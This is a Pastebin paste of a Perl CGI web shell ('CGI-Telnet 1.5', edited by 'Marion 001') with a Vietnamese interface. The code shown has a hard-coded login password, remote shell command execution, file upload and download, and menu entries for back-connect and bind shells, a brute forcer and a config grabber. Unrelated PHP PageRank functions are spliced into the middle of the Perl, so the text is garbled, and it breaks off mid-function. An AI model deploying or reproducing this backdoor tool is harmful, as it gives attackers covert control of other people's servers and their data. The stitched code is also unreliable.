iljimae

CGI PR

Jul 7th, 2015
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 77.83 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.5";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Marion 001</font>";
  5. $Password = "marion001";           
  6. sub Is_Win(){
  7. $os = &trim($ENV{"SERVER_SOFTWARE"});
  8.     if($os =~ m/win/i){
  9.         return 1;
  10.     }else{
  11.         return 0;
  12.     }
  13. }
  14. $WinNT = &Is_Win();        
  15. $NTCmdSep = "&";           
  16. $UnixCmdSep = ";";         
  17. $CommandTimeoutDuration = 10;
  18. $ShowDynamicOutput = 1;
  19. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  20. $CmdPwd = ($WinNT ? "cd" : "pwd");
  21. $PathSep = ($WinNT ? "\\" : "/");
  22. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  23. $cols= 130;
  24. $rows= 26;
  25. sub ReadParse
  26. {
  27.     local (*in) = @_ if @_;
  28.     local ($i, $loc, $key, $val);
  29.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  30.     if($ENV{'REQUEST_METHOD'} eq "GET")
  31.     {
  32.         $in = $ENV{'QUERY_STRING'};
  33.     }
  34.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  35.     {
  36.         binmode(STDIN) if $MultipartFormData & $WinNT;
  37.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  38.     }
  39.     # handle file upload data
  40.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  41.     {
  42.         $Boundary = '--'.$1; # please refer to RFC1867
  43.         @list = split(/$Boundary/, $in);
  44.         $HeaderBody = $list[1];
  45.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  46.         $Header = $`;
  47.         $Body = $';
  48.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  49.         $in{'filedata'} = $Body;
  50.         $Header =~ /filename=\"(.+)\"/;
  51.         $in{'f'} = $1;
  52.         $in{'f'} =~ s/\"//g;
  53.         $in{'f'} =~ s/\s//g;
  54.  
  55.         # parse trailer
  56.         for($i=2; $list[$i]; $i++)
  57.         {
  58.             $list[$i] =~ s/^.+name=$//;
  59.             $list[$i] =~ /\"(\w+)\"/;
  60.             $key = $1;
  61.             $val = $';
  62.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  63.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  64.             $in{$key} = $val;
  65.         }
  66.     }
  67.     else # standard post data (url encoded, not multipart)
  68.     {
  69.         @in = split(/&/, $in);
  70.         foreach $i (0 .. $#in)
  71.         {
  72.             $in[$i] =~ s/\+/ /g;
  73.             ($key, $val) = split(/=/, $in[$i], 2);
  74.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  75.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  76.             $in{$key} .= "\0" if (defined($in{$key}));
  77.             $in{$key} .= $val;
  78.         }
  79.     }
  80. }
  81. #------------------------------------------------------------------------------
  82. # function EncodeDir: encode base64 Path
  83. #------------------------------------------------------------------------------
  84. sub EncodeDir
  85. {
  86.     my $dir = shift;
  87.     $dir = trim(encode_base64($dir));
  88.     $dir =~ s/(\r|\n)//;
  89.     return $dir;
  90. }sub PrintPageHeader
  91. {
  92.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  93.     my $id = `id` if(!$WinNT);
  94.     my $info = `uname -a`;
  95.     print "Content-type: text/html\n\n";
  96.     print <<END;
  97. <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>$ENV{'SERVER_NAME'} | IP : $ENV{'SERVER_ADDR'} </title>
  98. $HtmlMetaHeader
  99. </head><style>
  100. body{
  101. font: 10pt Verdana;
  102. color: #fff;
  103. }
  104. tr,td,table,input,textarea {
  105. BORDER-RIGHT:  #3e3e3e 1px solid;
  106. BORDER-TOP:    #3e3e3e 1px solid;
  107. BORDER-LEFT:   #3e3e3e 1px solid;
  108. BORDER-BOTTOM: #3e3e3e 1px solid;
  109. }
  110. #domain tr:hover{
  111. background-color: #444;
  112. }
  113. td {
  114. color: #ffffff;
  115. }
  116. .listdir td{
  117.     text-align: center;
  118. }
  119. .listdir th{
  120.     color: 00FF00;
  121. }
  122. .dir,.file
  123. {
  124.     text-align: left !important;
  125. }
  126. .dir{
  127.     font-size: 10pt;
  128.     font-weight: bold;
  129. }
  130. table {
  131. BACKGROUND-COLOR: #111;
  132. }
  133. input {
  134. BACKGROUND-COLOR: Black;
  135. color: 00FF00;
  136. }
  137. input.submit {
  138. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  139. color: #FFFFFF;
  140. border-color: #009900;
  141. }
  142. code {
  143. border: dashed 0px #333;
  144. color: while;
  145. }
  146. run {
  147. border          : dashed 0px #333;
  148. color: #FF00AA;
  149. }
  150. textarea {
  151. BACKGROUND-COLOR: #1b1b1b;
  152. font: Fixedsys bold;
  153. color: 00FF00;
  154. }
  155. A:link {
  156.     COLOR: #ffffff; TEXT-DECORATION: none
  157. }
  158. A:visited {
  159.     COLOR: #ffffff; TEXT-DECORATION: none
  160. }
  161. A:hover {
  162.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  163.     color: #FFFFFF; TEXT-DECORATION: none
  164. }
  165. A:active {
  166.     color: Red; TEXT-DECORATION: none
  167. }
  168. .listdir tr:hover{
  169.     background: #444;
  170. }
  171. .listdir tr:hover td{
  172.     background: #444;
  173.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  174.     color: #FFFFFF; TEXT-DECORATION: none;
  175. }
  176. .notline{
  177.     background: #111;
  178. }
  179. .line{
  180.     background: #222;
  181. }
  182. </style>
  183. <script language="javascript">
  184. function Encoder(name)
  185. {
  186.     var e =  document.getElementById(name);
  187.     e.value = btoa(e.value);
  188.     return true;
  189. }
  190. function chmod_form(i,file)
  191. {
  192.     document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  193.     document.getElementById("text_" + i).focus();
  194. }
  195. function rm_chmod_form(response,i,perms,file)
  196. {
  197.     response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  198. }
  199. function rename_form(i,file,f)
  200. {
  201.     f.replace(/\\\\/g,"\\\\\\\\");
  202.     var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  203.     document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  204.     document.getElementById("text_" + i).focus();
  205. }
  206. function rm_rename_form(i,file,f)
  207. {
  208.     if(f=='f')
  209.     {
  210.         document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  211.     }else
  212.     {
  213.         document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  214.     }
  215. }
  216. </script><body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"><center><code>
  217. <table border="1" width="100%" cellspacing="0" cellpadding="2"><tr><td align="center" rowspan=3><b><font size="3">$EditPersion</font></b></td><td>
  218.         $info
  219. </td><td>Server IP:<font color="red"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="red">$ENV{'REMOTE_ADDR'}</font></td></tr><tr><td colspan="2">
  220. <a href="$ScriptLocation">Home</a> |
  221. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  222. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  223. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  224. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">T&#7843;i Xu&#7889;ng File</a> |
  225. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  226. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  227. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  228. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  229. <a href="$ScriptLocation?a=configmarion">All/Config.Marion001</a> |
  230. <a href="$ScriptLocation?a=logout">&#272;&#259;ng Xu&#7845;t</a> |
  231. <a target='_blank' href="../error_log.php">Help</a></td></tr><tr><td colspan="2">
  232. $id
  233. </td></tr></table><font id="ResponseData" color="#FFFFFF" >
  234.  
  235. END
  236. }
  237. #------------------------------------------------------------------------------
  238. # Prints the Login Screen
  239. #------------------------------------------------------------------------------
  240. sub PrintLoginScreen
  241. {
  242.     print <<END;
  243. <pre><script type="text/javascript">
  244. TypingText = function(element, interval, cursor, finishedCallback) {
  245.   if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  246.     this.running = true;    // Never run.
  247.     return;
  248.   }
  249.   this.element = element;
  250.   this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  251.   this.interval = (typeof interval == "undefined" ? 100 : interval);
  252.   this.origText = this.element.innerHTML;
  253.   this.unparsedOrigText = this.origText;
  254.   this.cursor = (cursor ? cursor : "");
  255.   this.currentText = "";
  256.   this.currentChar = 0;
  257.   this.element.typingText = this;
  258.   if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  259.   TypingText.all.push(this);
  260.   this.running = false;
  261.   this.inTag = false;
  262.   this.tagBuffer = "";
  263.   this.inHTMLEntity = false;
  264.   this.HTMLEntityBuffer = "";
  265. }
  266. TypingText.all = new Array();
  267. TypingText.currentIndex = 0;
  268. TypingText.runAll = function() {
  269.   for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  270. }
  271. TypingText.prototype.run = function() {
  272.   if(this.running) return;
  273.   if(typeof this.origText == "undefined") {
  274.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);   // We haven't finished loading yet.  Have patience.
  275.     return;
  276.   }
  277.   if(this.currentText == "") this.element.innerHTML = "";
  278. //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  279.   if(this.currentChar < this.origText.length) {
  280.     if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  281.       this.tagBuffer = "<";
  282.       this.inTag = true;
  283.       this.currentChar++;
  284.       this.run();
  285.       return;
  286.     } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  287.       this.tagBuffer += ">";
  288.       this.inTag = false;
  289.       this.currentText += this.tagBuffer;
  290.       this.currentChar++;
  291.       this.run();
  292.       return;
  293.     } else if(this.inTag) {
  294.       this.tagBuffer += this.origText.charAt(this.currentChar);
  295.       this.currentChar++;
  296.       this.run();
  297.       return;
  298.     } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  299.       this.HTMLEntityBuffer = "&";
  300.       this.inHTMLEntity = true;
  301.       this.currentChar++;
  302.       this.run();
  303.       return;
  304.     } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  305.       this.HTMLEntityBuffer += ";";
  306.       this.inHTMLEntity = false;
  307.       this.currentText += this.HTMLEntityBuffer;
  308.       this.currentChar++;
  309.       this.run();
  310.       return;
  311.     } else if(this.inHTMLEntity) {
  312.       this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  313.       this.currentChar++;
  314.       this.run();
  315.       return;
  316.     } else {
  317.       this.currentText += this.origText.charAt(this.currentChar);
  318.     }
  319.     this.element.innerHTML = this.currentText;
  320.     this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  321.     this.currentChar++;
  322.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  323.   } else {
  324.     this.currentText = "";
  325.     this.currentChar = 0;
  326.         this.running = false;
  327.         this.finishedCallback();
  328.   }
  329. }
  330. </script></pre><br><script type="text/javascript">
  331. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  332. TypingText.runAll();
  333. </script>
  334. END
  335. }
  336. #------------------------------------------------------------------------------
  337. # encode html special chars
  338. #------------------------------------------------------------------------------
  339. sub UrlEncode($){
  340.     my $str = shift;
  341.     $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  342.     return $str;
  343. }
  344. #------------------------------------------------------------------------------
  345. # function pagerank
  346. #------------------------------------------------------------------------------
  347. public function get_google_pagerank($url) {
  348. $query="http://toolbarqueries.google.com/tbr?client=navclient-auto&ch=".$this->CheckHash($this->HashURL($url)). "&features=Rank&q=info:".$url."&num=100&filter=0";
  349. $data=file_get_contents($query);
  350. $pos = strpos($data, "Rank_");
  351. if($pos === false){} else{
  352. $pagerank = substr($data, $pos + 9);
  353. return $pagerank;
  354. }
  355. }
  356. public function StrToNum($Str, $Check, $Magic)
  357. {
  358. $Int32Unit = 4294967296; // 2^32
  359. $length = strlen($Str);
  360. for ($i = 0; $i < $length; $i++) {
  361. $Check *= $Magic;
  362. if ($Check >= $Int32Unit) {
  363. $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
  364. $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
  365. }
  366. $Check += ord($Str{$i});
  367. }
  368. return $Check;
  369. }
  370. public function HashURL($String)
  371. {
  372. $Check1 = $this->StrToNum($String, 0x1505, 0x21);
  373. $Check2 = $this->StrToNum($String, 0, 0x1003F);
  374. $Check1 >>= 2;
  375. $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
  376. $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
  377. $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
  378. $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
  379. $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
  380. return ($T1 | $T2);
  381. }
  382. public function CheckHash($Hashnum)
  383. {
  384. $CheckByte = 0;
  385. $Flag = 0;
  386. $HashStr = sprintf('%u', $Hashnum) ;
  387. $length = strlen($HashStr);
  388. for ($i = $length - 1; $i >= 0; $i --) {
  389. $Re = $HashStr{$i};
  390. if (1 === ($Flag % 2)) {
  391. $Re += $Re;
  392. $Re = (int)($Re / 10) + ($Re % 10);
  393. }
  394. $CheckByte += $Re;
  395. $Flag ++;
  396. }
  397. $CheckByte %= 10;
  398. if (0 !== $CheckByte) {
  399. $CheckByte = 10 - $CheckByte;
  400. if (1 === ($Flag % 2) ) {
  401. if (1 === ($CheckByte % 2)) {
  402. $CheckByte += 9;
  403. }
  404. $CheckByte >>= 1;
  405. }
  406. }
  407. return '7'.$CheckByte.$HashStr;
  408. }
  409. #------------------------------------------------------------------------------
  410. # End Function Pagerank
  411. #------------------------------------------------------------------------------
  412. #------------------------------------------------------------------------------
  413. # Add html special chars
  414. #------------------------------------------------------------------------------
  415. sub HtmlSpecialChars($){
  416.     my $text = shift;
  417.     $text =~ s/&/&amp;/g;
  418.     $text =~ s/"/&quot;/g;
  419.     $text =~ s/'/&#039;/g;
  420.     $text =~ s/</&lt;/g;
  421.     $text =~ s/>/&gt;/g;
  422.     return $text;
  423. }
  424. #------------------------------------------------------------------------------
  425. # Add link for directory
  426. #------------------------------------------------------------------------------
  427. sub AddLinkDir($)
  428. {
  429.     my $ac=shift;
  430.     my @dir=();
  431.     if($WinNT)
  432.     {
  433.         @dir=split(/\\/,$CurrentDir);
  434.     }else
  435.     {
  436.         @dir=split("/",&trim($CurrentDir));
  437.     }
  438.     my $path="";
  439.     my $result="";
  440.     foreach (@dir)
  441.     {
  442.         $path .= $_.$PathSep;
  443.         $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  444.     }
  445.     return $result;
  446. }
  447. #------------------------------------------------------------------------------
  448. # Prints the message that informs the user of a failed login
  449. #------------------------------------------------------------------------------
  450. sub PrintLoginFailedMessage
  451. {
  452.     print <<END;
  453. M&#7853;t Kh&#7849;u:<br>Login incorrect<br><br>
  454. END
  455. }
  456.  
  457. #------------------------------------------------------------------------------
  458. # Prints the HTML form for logging in
  459. #------------------------------------------------------------------------------
  460. sub PrintLoginForm
  461. {
  462.     print <<END;
  463. <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="a" value="login">M&#7853;t Kh&#7849;u: marion001<br>M&#7853;t Kh&#7849;u:<input type="password" name="p"><input class="submit" type="submit" value="Marion001"></form>
  464. END
  465. }
  466. #------------------------------------------------------------------------------
  467. # Prints the footer for the HTML Page
  468. #------------------------------------------------------------------------------
  469. sub PrintPageFooter
  470. {
  471.     print "<br><font color=red>=</font><font color=red>---&gt;*  <font color=00FF00>Edited by ::[Marion 001]:: </font>  *&lt;---=</font></code></center></body></html>";
  472. }
  473. #------------------------------------------------------------------------------
  474. # Retreives the values of all cookies. The cookies can be accesses using the
  475. # variable $Cookies{''}
  476. #------------------------------------------------------------------------------
  477. sub GetCookies
  478. {
  479.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  480.     foreach $cookie(@httpcookies)
  481.     {
  482.         ($id, $val) = split(/=/, $cookie);
  483.         $Cookies{$id} = $val;
  484.     }
  485. }
  486. #------------------------------------------------------------------------------
  487. # Prints the screen when the user logs out
  488. #------------------------------------------------------------------------------
  489. sub PrintLogoutScreen
  490. {
  491.     print "Connection closed by foreign host.<br><br>";
  492. }sub PerformLogout
  493. {
  494.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  495.     &PrintPageHeader("p");
  496.     &PrintLogoutScreen;
  497.  
  498.     &PrintLoginScreen;
  499.     &PrintLoginForm;
  500.     &PrintPageFooter;
  501.     exit;
  502. }
  503. sub PerformLogin
  504. {
  505.     if($LoginPassword eq $Password) # password matched
  506.     {
  507.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  508.         &PrintPageHeader;
  509.         print &ListDir;
  510.     }
  511.     else # password didn't match
  512.     {
  513.         &PrintPageHeader("p");
  514.         &PrintLoginScreen;
  515.         if($LoginPassword ne "") # some password was entered
  516.         {
  517.             &PrintLoginFailedMessage;
  518.  
  519.         }
  520.         &PrintLoginForm;
  521.         &PrintPageFooter;
  522.         exit;
  523.     }
  524. }
  525. #------------------------------------------------------------------------------
  526. # Prints the HTML form that allows the user to enter commands
  527. #------------------------------------------------------------------------------
  528. sub PrintCommandLineInputForm
  529. {
  530.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  531.     my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  532.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  533.     return <<END;
  534. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  535.  
  536. <input type="hidden" name="a" value="command">
  537.  
  538. <input type="hidden" name="d" value="$EncodeCurrentDir">
  539. $Prompt
  540. <input type="text" size="40" name="c" id="c">
  541. <input class="submit" type="submit" value="Enter">
  542. </form>
  543. END
  544. }
  545. #------------------------------------------------------------------------------
  546. # Prints the HTML form that allows the user to download files
  547. #------------------------------------------------------------------------------
  548. sub PrintFileDownloadForm
  549. {
  550.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  551.     my $dir = &AddLinkDir("download");
  552.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  553.     return <<END;
  554. <form name="f" method="POST" action="$ScriptLocation">
  555. <input type="hidden" name="d" value="$EncodeCurrentDir">
  556. <input type="hidden" name="a" value="download">
  557. $Prompt download<br><br>
  558. T&#234;n File: <input class="file" type="text" name="f" size="35"><br><br>
  559. T&#7843;i Xu&#7889;ng <input class="submit" type="submit" value="Marion001">
  560.  
  561. </form>
  562. END
  563. }
  564.  
  565. #------------------------------------------------------------------------------
  566. # Prints the HTML form that allows the user to upload files
  567. #------------------------------------------------------------------------------
  568. sub PrintFileUploadForm
  569. {
  570.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  571.     my $dir= &AddLinkDir("upload");
  572.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  573.     return <<END;
  574. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  575. $Prompt upload<br><br>
  576. T&#234;n File: <input class="file" type="file" name="f" size="35"><br><br>
  577. C&#224;i &#272;&#7863;t: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  578. <label for="up">&#272;&#232; L&#234;n N&#7871;u File Tr&#249;ng Nhau</label><br><br>
  579. T&#7843;i L&#234;n:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Marion001">
  580. <input type="hidden" name="d" value="$EncodeCurrentDir">
  581. <input class="submit" type="hidden" name="a" value="upload">
  582. </form>
  583. END
  584. }
  585. sub CommandTimeout
  586. {
  587.     if(!$WinNT)
  588.     {
  589.         alarm(0);
  590.         return <<END;
  591. </textarea><br><font color=yellow>Command exceeded maximum time of $CommandTimeoutDuration second(s).</font><br><font size='6' color=red>Killed it!</font>
  592. END
  593.     }
  594. }
  595. sub PrintDownloadLinkPage
  596. {
  597.     local($FileUrl) = @_;
  598.     my $result="";
  599.     if(-e $FileUrl) # if the file exists
  600.     {
  601.         # encode the file link so we can send it to the browser
  602.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  603.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  604.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  605.         &PrintPageHeader("c");
  606.         $result .= <<END;
  607. Sending File $TransferFile...<br>
  608.  
  609. If the download does not start automatically,
  610. <a href="$DownloadLink">Click Here</a>
  611. END
  612.         $result .= &PrintCommandLineInputForm;
  613.     }
  614.     else # file doesn't exist
  615.     {
  616.         $result .= "Failed to download $FileUrl: $!";
  617.         $result .= &PrintFileDownloadForm;
  618.     }
  619.     return $result;
  620. }
  621. #------------------------------------------------------------------------------
  622. # This function reads the specified file from the disk and sends it to the
  623. # browser, so that it can be downloaded by the user.
  624. # Argument 1: Fully qualified pathname of the file to be sent.
  625. #------------------------------------------------------------------------------
  626. sub SendFileToBrowser
  627. {
  628.     my $result = "";
  629.     local($SendFile) = @_;
  630.     if(open(SENDFILE, $SendFile)) # file opened for reading
  631.     {
  632.         if($WinNT)
  633.         {
  634.             binmode(SENDFILE);
  635.             binmode(STDOUT);
  636.         }
  637.         $FileSize = (stat($SendFile))[7];
  638.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  639.         print "Content-Type: application/x-unknown\n";
  640.         print "Content-Length: $FileSize\n";
  641.         print "Content-Disposition: attachment; filename=$1\n\n";
  642.         print while(<SENDFILE>);
  643.         close(SENDFILE);
  644.         exit(1);
  645.     }
  646.     else # failed to open file
  647.     {
  648.         $result .= "Failed to download $SendFile: $!";
  649.         $result .=&PrintFileDownloadForm;
  650.     }
  651.     return $result;
  652. }
  653. #------------------------------------------------------------------------------
  654. # This function is called when the user downloads a file. It displays a message
  655. # to the user and provides a link through which the file can be downloaded.
  656. # This function is also called when the user clicks on that link. In this case,
  657. # the file is read and sent to the browser.
  658. #------------------------------------------------------------------------------
  659. sub BeginDownload
  660. {
  661.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  662.     # get fully qualified path of the file to be downloaded
  663.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  664.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  665.     {
  666.         $TargetFile = $TransferFile;
  667.     }
  668.     else # path is relative
  669.     {
  670.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  671.         $TargetFile .= $PathSep.$TransferFile;
  672.     }
  673.  
  674.     if($Options eq "go") # we have to send the file
  675.     {
  676.         &SendFileToBrowser($TargetFile);
  677.     }
  678.     else # we have to send only the link page
  679.     {
  680.         &PrintDownloadLinkPage($TargetFile);
  681.     }
  682. }
  683.  
  684. #------------------------------------------------------------------------------
  685. # This function is called when the user wants to upload a file. If the
  686. # file is not specified, it displays a form allowing the user to specify a
  687. # file, otherwise it starts the upload process.
  688. #------------------------------------------------------------------------------
  689. sub UploadFile
  690. {
  691.     # if no file is specified, print the upload form again
  692.     if($TransferFile eq "")
  693.     {
  694.         return &PrintFileUploadForm;
  695.  
  696.     }
  697.     my $result="";
  698.     # start the uploading process
  699.     $result .= "T&#7843;i L&#234;n: $TransferFile T&#7899;i $CurrentDir ...<br>";
  700.  
  701.     # get the fullly qualified pathname of the file to be created
  702.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  703.     $TransferFile =~ m!([^/^\\]*)$!;
  704.     $TargetName .= $PathSep.$1;
  705.  
  706.     $TargetFileSize = length($in{'filedata'});
  707.     # if the file exists and we are not supposed to overwrite it
  708.     if(-e $TargetName && $Options ne "overwrite")
  709.     {
  710.         $result .= "TH&#7845;t B&#7841;i, T&#7879;p Tin N&#224;y &#272;&#227; T&#7891;n T&#7841;i.<br>";
  711.     }
  712.     else # file is not present
  713.     {
  714.         if(open(UPLOADFILE, ">$TargetName"))
  715.         {
  716.             binmode(UPLOADFILE) if $WinNT;
  717.             print UPLOADFILE $in{'filedata'};
  718.             close(UPLOADFILE);
  719.             $result .= "k&#237;ch Th&#432;&#7899;c: $TargetFileSize Bytes.<br>";
  720.             $result .= "&#272;&#432;&#7901;ng D&#7851;n File: $TargetName<br>";
  721.         }
  722.         else
  723.         {
  724.             $result .= "Th&#7845;t B&#7841;i: $!<br>";
  725.         }
  726.     }
  727.     $result .= &PrintCommandLineInputForm;
  728.     return $result;
  729. }
  730. #------------------------------------------------------------------------------
  731. # This function is called when the user wants to download a file. If the
  732. # filename is not specified, it displays a form allowing the user to specify a
  733. # file, otherwise it displays a message to the user and provides a link
  734. # through  which the file can be downloaded.
  735. #------------------------------------------------------------------------------
  736. sub DownloadFile
  737. {
  738.     # if no file is specified, print the download form again
  739.     if($TransferFile eq "")
  740.     {
  741.         &PrintPageHeader("f");
  742.         return &PrintFileDownloadForm;
  743.     }
  744.    
  745.     # get fully qualified path of the file to be downloaded
  746.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  747.     {
  748.         $TargetFile = $TransferFile;
  749.     }
  750.     else # path is relative
  751.     {
  752.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  753.         $TargetFile .= $PathSep.$TransferFile;
  754.     }
  755.  
  756.     if($Options eq "go") # we have to send the file
  757.     {
  758.         return &SendFileToBrowser($TargetFile);
  759.     }
  760.     else # we have to send only the link page
  761.     {
  762.         return &PrintDownloadLinkPage($TargetFile);
  763.     }
  764. }
  765. #------------------------------------------------------------------------------
  766. # This function is called to execute commands. It displays the output of the
  767. # command and allows the user to enter another command. The change directory
  768. # command is handled differently. In this case, the new directory is stored in
  769. # an internal variable and is used each time a command has to be executed. The
  770. # output of the change directory command is not displayed to the users
  771. # therefore error messages cannot be displayed.
  772. #------------------------------------------------------------------------------
  773. sub ExecuteCommand
  774. {
  775.     $CurrentDir = &TrimSlashes($CurrentDir);
  776.     my $result="";
  777.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  778.     {
  779.         # we change the directory internally. The output of the
  780.         # command is not displayed.
  781.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  782.         chomp($CurrentDir = `$Command`);
  783.         $result .= &PrintCommandLineInputForm;
  784.  
  785.         $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  786.         # xuat thong tin khi chuyen den 1 thu muc nao do!
  787.         $RunCommand= $WinNT?"dir":"dir -lia";
  788.         $result .= &RunCmd;
  789.     }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  790.     {
  791.         $result .=  &SaveFileForm;
  792.     }else
  793.     {
  794.         $result .= &PrintCommandLineInputForm;
  795.         $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  796.         $result .=&RunCmd;
  797.     }
  798.     $result .=  "</textarea>";
  799.     return $result;
  800. }
  801. #------------------------------------------------------------------------
  802. # run command
  803. #------------------------------------------------------------------------
  804. sub RunCmd
  805. {
  806.     my $result="";
  807.     $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  808.     if(!$WinNT)
  809.     {
  810.         $SIG{'ALRM'} = \&CommandTimeout;
  811.         alarm($CommandTimeoutDuration);
  812.     }
  813.     if($ShowDynamicOutput) # show output as it is generated
  814.     {
  815.         $|=1;
